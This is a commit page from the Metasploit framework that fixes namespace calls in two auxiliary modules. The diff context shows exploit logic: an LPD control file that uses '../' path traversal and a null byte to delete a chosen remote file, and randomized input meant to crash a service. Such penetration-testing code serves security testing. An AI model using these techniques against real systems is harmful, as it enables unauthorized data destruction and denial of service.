Fixed namespace problems in auxiliary modules
git-svn-id: file:///home/svn/framework3/trunk@5984 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
80cc5e3bb6
commit
815a4fdea7
|
@ -51,9 +51,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def run
|
def run
|
||||||
|
|
||||||
|
|
||||||
r_hostname = rand_text_alpha(rand(8)+1)
|
r_hostname = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||||
r_user = rand_text_alpha(rand(8)+1)
|
r_user = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||||
r_spool = rand_text_alpha(rand(8)+1)
|
r_spool = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||||
|
|
||||||
# Create a simple control file...
|
# Create a simple control file...
|
||||||
control = "H#{r_hostname}\nP#{r_user}\n";
|
control = "H#{r_hostname}\nP#{r_user}\n";
|
||||||
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# null byte will prevent the parser from processing the other paths.
|
# null byte will prevent the parser from processing the other paths.
|
||||||
control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"
|
control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"
|
||||||
|
|
||||||
dataf = rand_text_alpha(100)+1
|
dataf = Rex::Text.rand_text_alpha(100)+1
|
||||||
|
|
||||||
print_status("Deleting #{datstore['RPATH']}...")
|
print_status("Deleting #{datstore['RPATH']}...")
|
||||||
if (not (
|
if (not (
|
||||||
|
|
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
modproplong << modprops[rand(modprops.size)] + ","
|
modproplong << modprops[rand(modprops.size)] + ","
|
||||||
}
|
}
|
||||||
|
|
||||||
boundry = rand_text_alphanumeric(8) + "." + rand_text_alphanumeric(8)
|
boundry = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)
|
||||||
|
|
||||||
|
|
||||||
# Really, the randomization above only crashes /sometimes/ - it's MUCH more
|
# Really, the randomization above only crashes /sometimes/ - it's MUCH more
|
||||||
|
|
Loading…
Reference in New Issue